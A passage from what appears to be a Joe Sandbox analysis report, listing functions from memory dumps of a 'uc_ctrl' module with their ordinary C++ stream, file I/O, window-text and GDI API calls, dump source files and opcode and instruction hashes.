_fsopen.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,6C937621,?,?,?,6C937524,?,00000003,00000010,?), ref: 6C9376C6
fseek.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000000,00000002), ref: 6C9376DE

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: _fsopen$fclosefseek
String ID:
API String ID: 410343947-0
Opcode ID: a9d48a75b20ad5eeb757f076f16912e3d09ef8190889a6275829bb62fe59c2e0
Instruction ID: 3817f8daa665b210d1b2ba5cb173d9c2f6463c1d8d43764d80ec360386e73bb3
Opcode Fuzzy Hash: a9d48a75b20ad5eeb757f076f16912e3d09ef8190889a6275829bb62fe59c2e0
Instruction Fuzzy Hash: 53113A31707931EBEF00051E8F21B5637AE9B8735CF342524ED8ED2951EB29C40586A3

Function 6C92B750 Relevance: 6.1, APIs: 4, Instructions: 69COMMON

Download Yara Rule

APIs

_FDtest.MSVCP140(?), ref: 6C92B758

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: Dtest
String ID:
API String ID: 2456463492-0
Opcode ID: 9bf2edf5e2a4e43615d8337b304363b07440324fb0d77670ab558b7fefa5fa83
Instruction ID: fb2d397c602672ef887c1556172e1d40d0aeea919e0bcb3be91059545414d7d5
Opcode Fuzzy Hash: 9bf2edf5e2a4e43615d8337b304363b07440324fb0d77670ab558b7fefa5fa83
Instruction Fuzzy Hash: 151193B1925109EBCF041F50D5486C93FFCEB02790F218A80D8E6A1D9CE739C6248E85

Function 6C957C00 Relevance: 6.1, APIs: 4, Instructions: 67COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C957C07

Part of subcall function 6C94FEDA: __EH_prolog3.LIBCMT ref: 6C94FEE1
Part of subcall function 6C94FEDA: ?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C957779,?,00000001,00000008), ref: 6C94FF16

?in_avail@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAE_JXZ.MSVCP140(?,00000001,00000008), ref: 6C957C37
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,00000001,00000008), ref: 6C957C89

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3U?$char_traits@_W@std@@@std@@$?in_avail@?$basic_streambuf@_?setstate@?$basic_ios@_D@std@@@std@@Ipfx@?$basic_istream@U?$char_traits@
String ID:
API String ID: 3309062606-0
Opcode ID: fabc8dc2cd332bce1334e746daf98584a9d5487144945b61984eb7cb65120611
Instruction ID: 2367dc4f2dd73c072514a8f9b85e1d07ef4dc396013f855f9a588e1da18e85b3
Opcode Fuzzy Hash: fabc8dc2cd332bce1334e746daf98584a9d5487144945b61984eb7cb65120611
Instruction Fuzzy Hash: 2B110371721A015FE704DF54C8C0A6A73A7AFB0219BA2C01C98019BF50DF70EF268740

Function 6C954E30 Relevance: 6.1, APIs: 4, Instructions: 67COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C954E37

Part of subcall function 6C94FE8C: __EH_prolog3.LIBCMT ref: 6C94FE93
Part of subcall function 6C94FE8C: ?_Ipfx@?$basic_istream@_WU?$char_traits@_W@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C954999,?,00000001,00000008), ref: 6C94FEC8

?in_avail@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAE_JXZ.MSVCP140(?,00000001,00000008), ref: 6C954E67
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,00000001,00000008), ref: 6C954EB9

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_W@std@@@std@@$H_prolog3$?in_avail@?$basic_streambuf@_?setstate@?$basic_ios@_Ipfx@?$basic_istream@_
String ID:
API String ID: 2465815921-0
Opcode ID: 7898a5004a00886320770d49dc44544d50709534734ae440801032c6c77f5635
Instruction ID: 6952d1a4f40dda462d2f60c0638ff1f193613fe847f5e945d968b375a54e4013
Opcode Fuzzy Hash: 7898a5004a00886320770d49dc44544d50709534734ae440801032c6c77f5635
Instruction Fuzzy Hash: 5911D6357016418FE794DF56C984A6E7366AFB021CB94C01CA4129BF54DB70ED3D8F40

Function 6C92AE60 Relevance: 6.1, APIs: 4, Instructions: 67COMMON

Download Yara Rule

APIs

_Dtest.MSVCP140(?), ref: 6C92AE6A

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: Dtest
String ID:
API String ID: 2456463492-0
Opcode ID: 98c1eb09a8bc5032c33a617775acca23c6a85068e20fcca157118a1fb3becf2b
Instruction ID: 0c68221d72e71ab90e30a52e58693a344e15aea18d22356f7122bee834ca500d
Opcode Fuzzy Hash: 98c1eb09a8bc5032c33a617775acca23c6a85068e20fcca157118a1fb3becf2b
Instruction Fuzzy Hash: 4611A7E2925A0E92DF011F54DD087C93BBCEB063A0F214A80E9E5D1ADCFF3EC5658695

Function 6C951BF0 Relevance: 6.1, APIs: 4, Instructions: 67COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C951BF7

Part of subcall function 6C94FE3E: __EH_prolog3.LIBCMT ref: 6C94FE45
Part of subcall function 6C94FE3E: ?_Ipfx@?$basic_istream@GU?$char_traits@G@std@@@std@@QAE_N_N@Z.MSVCP140(?,00000004,6C951749,?,00000001,00000008), ref: 6C94FE7A

?in_avail@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAE_JXZ.MSVCP140(?,00000001,00000008), ref: 6C951C27
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,00000001,00000008), ref: 6C951C79

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3U?$char_traits@_W@std@@@std@@$?in_avail@?$basic_streambuf@_?setstate@?$basic_ios@_G@std@@@std@@Ipfx@?$basic_istream@U?$char_traits@
String ID:
API String ID: 2409971386-0
Opcode ID: b276b6027ff7312e40c445848db080bdb875551f61b290344dc3d060e76cec4a
Instruction ID: fa55fb70f756bb655f376d4527dba45e4fd88b26935a45bc6aa19ebaa7640f8b
Opcode Fuzzy Hash: b276b6027ff7312e40c445848db080bdb875551f61b290344dc3d060e76cec4a
Instruction Fuzzy Hash: B311D031701A018FE704DF58C9D0B6A73A7AFB2619FA4802CD805ABB40DB76ED2A8740

Function 6C92C710 Relevance: 6.1, APIs: 4, Instructions: 67COMMON

Download Yara Rule

APIs

_Dtest.MSVCP140(?), ref: 6C92C71A

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: Dtest
String ID:
API String ID: 2456463492-0
Opcode ID: 600fec819c2c5f7c5dab4fba629a0f6bf598f7b946214c19281b21bc83e6539a
Instruction ID: f05c96388b2f91b22d65067c7c3838bf47f3b4abdfb4f03033ad4a74305045c5
Opcode Fuzzy Hash: 600fec819c2c5f7c5dab4fba629a0f6bf598f7b946214c19281b21bc83e6539a
Instruction Fuzzy Hash: E411ABB092450EA1EF003F54DD087C93A7CEB06790F114A81E9E5D1ACCEF3AD56486D5

Function 6C957880 Relevance: 6.1, APIs: 4, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C957887
?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(?,00000000,00000028), ref: 6C9578AA
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000002,00000000), ref: 6C957914

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ?clear@ios_base@std@@?setstate@?$basic_ios@_H_prolog3U?$char_traits@_W@std@@@std@@
String ID:
API String ID: 1215715714-0
Opcode ID: 482a56b501d8405bfd72e9e2cbb50c0083c1244c541d11f86c2c50f7376a7670
Instruction ID: c998c2c6ea4f5e472dd70f1f39c6ac7b0b44177c797d5d4087f2999f3e63c904
Opcode Fuzzy Hash: 482a56b501d8405bfd72e9e2cbb50c0083c1244c541d11f86c2c50f7376a7670
Instruction Fuzzy Hash: 80216A31A002158FCB00DFA8D8D4F9D77B5BF18328F548159E506AB7D2CB70EA29CB50

Function 6C951850 Relevance: 6.1, APIs: 4, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C951857
?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(?,00000000,00000028), ref: 6C95187A
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000002,00000000), ref: 6C9518E4

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ?clear@ios_base@std@@?setstate@?$basic_ios@_H_prolog3U?$char_traits@_W@std@@@std@@
String ID:
API String ID: 1215715714-0
Opcode ID: 196409272d82954fe69ae748f0f7faa47315e0303f9a78d892ad9e05b54891a1
Instruction ID: cbbc25ceb38de63d74ba01979d19b21bb57e16b03cf666a95b521884989bffef
Opcode Fuzzy Hash: 196409272d82954fe69ae748f0f7faa47315e0303f9a78d892ad9e05b54891a1
Instruction Fuzzy Hash: 16215631A002148FCB10EFA8D8C1FADB7B5AF19328F548159E51AAB792CB70E919CB50

Function 6C954AA0 Relevance: 6.1, APIs: 4, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C954AA7
?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(?,00000000,00000028), ref: 6C954ACA
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000002,00000000), ref: 6C954B34

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ?clear@ios_base@std@@?setstate@?$basic_ios@_H_prolog3U?$char_traits@_W@std@@@std@@
String ID:
API String ID: 1215715714-0
Opcode ID: bc08debc790954882ce22e278b4ea4e71ad40a8b28584d026c143f0fe03f959b
Instruction ID: 0c20daf32799f428afa5dae803a28367a15fcff16ca87e0a2bd2cb299450b40d
Opcode Fuzzy Hash: bc08debc790954882ce22e278b4ea4e71ad40a8b28584d026c143f0fe03f959b
Instruction Fuzzy Hash: C0216A31A002148FCB40DFA8D8C0F9D77B5BF18318F548159E506AB7D2CB70E929CB50

Function 6C698DF0 Relevance: 6.1, APIs: 4, Instructions: 61windowCOMMON

Download Yara Rule

APIs

Part of subcall function 6C68D5A5: GetDlgItem.USER32(?,?), ref: 6C68D5B6

GetWindowLongW.USER32(?,000000F0), ref: 6C698E0C
GetWindowTextLengthW.USER32(?), ref: 6C698E39
GetWindowTextW.USER32(?,00000000,00000100), ref: 6C698E69
SendMessageW.USER32(?,0000014D,000000FF,?), ref: 6C698E89

Part of subcall function 6C682163: _wcslen.LIBCMT ref: 6C682188
Part of subcall function 6C682163: GetWindowTextW.USER32(?,?,00000100), ref: 6C6821B9
Part of subcall function 6C682163: lstrcmpW.KERNEL32(?,?), ref: 6C6821CB
Part of subcall function 6C682163: SetWindowTextW.USER32(?,?), ref: 6C6821D7

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: Window$Text$ItemLengthLongMessageSend_wcslenlstrcmp
String ID:
API String ID: 3501298611-0
Opcode ID: 035839d47cb2d3ee31bbe2ce015137ff06d5b1bb83abf112f2e77593b0d1129f
Instruction ID: 58e57479bc40e2a3e8c4edfd64db5f0ad0af7c45698ee9d398868a62cd1a6b9d
Opcode Fuzzy Hash: 035839d47cb2d3ee31bbe2ce015137ff06d5b1bb83abf112f2e77593b0d1129f
Instruction Fuzzy Hash: A411BE3120410AFFCF119F64CC15EAD7766EF0A328F20461AF9746A6F0CB729E15AB58

Function 6C953C80 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C953C87
??0?$basic_istream@_WU?$char_traits@_W@std@@@std@@QAE@PAV?$basic_streambuf@_WU?$char_traits@_W@std@@@1@_N@Z.MSVCP140(?,00000000,00000000,0000000C), ref: 6C953CC9
?init@?$basic_ios@_WU?$char_traits@_W@std@@@std@@IAEXPAV?$basic_streambuf@_WU?$char_traits@_W@std@@@2@_N@Z.MSVCP140(00000000,00000000,0000000C), ref: 6C953D14
?swap@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXAAV12@@Z.MSVCP140(?,00000000,00000000,0000000C), ref: 6C953D32

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@_$W@std@@@std@@$V?$basic_streambuf@_$??0?$basic_istream@_?init@?$basic_ios@_?swap@?$basic_ios@_H_prolog3V12@@W@std@@@1@_W@std@@@2@_
String ID:
API String ID: 1890573189-0
Opcode ID: a1263856dabf8d0020e3e5f4db75f261af512bcd2aaa9d7a1adef992c1ddd663
Instruction ID: 8db3a89e7380d772218c9d237be2b8d9aabf3d666b3fead8bc0842a97659bb58
Opcode Fuzzy Hash: a1263856dabf8d0020e3e5f4db75f261af512bcd2aaa9d7a1adef992c1ddd663
Instruction Fuzzy Hash: 412123B4601206CFCB04CF58C580A69BBF5BF58308BA98059E4588BB21D331EA65CF80

Function 6C956810 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C956817
??0?$basic_istream@DU?$char_traits@D@std@@@std@@QAE@PAV?$basic_streambuf@DU?$char_traits@D@std@@@1@_N@Z.MSVCP140(?,00000000,00000000,0000000C), ref: 6C956859
?init@?$basic_ios@DU?$char_traits@D@std@@@std@@IAEXPAV?$basic_streambuf@DU?$char_traits@D@std@@@2@_N@Z.MSVCP140(00000000,00000000,0000000C), ref: 6C9568A4
?swap@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXAAV12@@Z.MSVCP140(?,00000000,00000000,0000000C), ref: 6C9568C2

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@$D@std@@@std@@$V?$basic_streambuf@$??0?$basic_istream@?init@?$basic_ios@?swap@?$basic_ios@D@std@@@1@_D@std@@@2@_H_prolog3V12@@
String ID:
API String ID: 1953463137-0
Opcode ID: b6ed36b69eafb4aad364875c9fe2f36a3bafb676ee08d18e17e8c31fb93b0c2e
Instruction ID: 6a8fddc83aaf1b348dd5a8b29a0ef01480fb906a39ae1d52b59a7794a17c7394
Opcode Fuzzy Hash: b6ed36b69eafb4aad364875c9fe2f36a3bafb676ee08d18e17e8c31fb93b0c2e
Instruction Fuzzy Hash: 2E2132B4601206DFDB04CF59C484A69FBF5FF98308BA580ADE5588BB21D731EA65CF80

Function 6C950520 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C950527
??0?$basic_istream@GU?$char_traits@G@std@@@std@@QAE@PAV?$basic_streambuf@GU?$char_traits@G@std@@@1@_N@Z.MSVCP140(?,00000000,00000000,0000000C), ref: 6C950569
?init@?$basic_ios@GU?$char_traits@G@std@@@std@@IAEXPAV?$basic_streambuf@GU?$char_traits@G@std@@@2@_N@Z.MSVCP140(00000000,00000000,0000000C), ref: 6C9505B4
?swap@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXAAV12@@Z.MSVCP140(?,00000000,00000000,0000000C), ref: 6C9505D2

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: U?$char_traits@$G@std@@@std@@V?$basic_streambuf@$??0?$basic_istream@?init@?$basic_ios@?swap@?$basic_ios@_G@std@@@1@_G@std@@@2@_H_prolog3U?$char_traits@_V12@@W@std@@@std@@
String ID:
API String ID: 3225207228-0
Opcode ID: c7750bb9f4d009ca6543e7d16af8bdb798726a25ca92a59448007329bb00add7
Instruction ID: 64ed7a7cefd075d263b5a0c6a870b0c2122e24c7ebbdff2db47736d4346cb856
Opcode Fuzzy Hash: c7750bb9f4d009ca6543e7d16af8bdb798726a25ca92a59448007329bb00add7
Instruction Fuzzy Hash: 482132B4601206CFCB00CF59C584A69FBF5FF58308B6580ADE0598BB21D731EA62CF80

Function 6C959F10 Relevance: 6.1, APIs: 4, Instructions: 59COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000000D,?,?,?,?,6C94DD23,?,?,?,00000000), ref: 6C959F94

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 32607b65ff610131dc5ffd2b1256393e5665628c828d270135a041c4cf5a0ac4
Instruction ID: b2f2ce8f33462963b3e5317dbd774c998252eecd729a7eaa5f4b410059b40dd5
Opcode Fuzzy Hash: 32607b65ff610131dc5ffd2b1256393e5665628c828d270135a041c4cf5a0ac4
Instruction Fuzzy Hash: 3711C675309215AFEF029E65DC4065EB769BF15714F514038FD0596600C771DC7687E1

Function 6C688D08 Relevance: 6.1, APIs: 4, Instructions: 57COMMON

Download Yara Rule

APIs

GetObjectW.GDI32(?,0000000C,?), ref: 6C688D53
SetBkColor.GDI32(?,?), ref: 6C688D5D
GetSysColor.USER32(00000008), ref: 6C688D6D
SetTextColor.GDI32(?,?), ref: 6C688D75

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: Color$ObjectText
String ID:
API String ID: 829078354-0
Opcode ID: caa32a8c4b14ab6ad3cf930b0e0a7a3c65bdc78c28f0ce2ef22ca801069cd124
Instruction ID: c2e7ed9e6006a29a56f233ec5b552e46e66c07d3e3cc7215c464d0dd1c959ee7
Opcode Fuzzy Hash: caa32a8c4b14ab6ad3cf930b0e0a7a3c65bdc78c28f0ce2ef22ca801069cd124
Instruction Fuzzy Hash: 44118032643508AB9B11EF788D44AAF77F9EF5E314F140A26F921D76A0DB30D90187B9

Function 6C954CA0 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 6C954CA7
?clear@ios_base@std@@QAEXH_N@Z.MSVCP140(?,00000000,00000018), ref: 6C954CD5
?sputbackc@?$basic_streambuf@_WU?$char_traits@_W@std@@@std@@QAEG_W@Z.MSVCP140(?,?,?,?,?,?,00000001,?,00000000,00000018), ref: 6C954CFE
?setstate@?$basic_ios@_WU?$char_traits@_W@std@@@std@@QAEXH_N@Z.MSVCP140(00000000,00000000,?,?,?,?,?,00000001,?,00000000,00000018), ref: 6C954D59

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

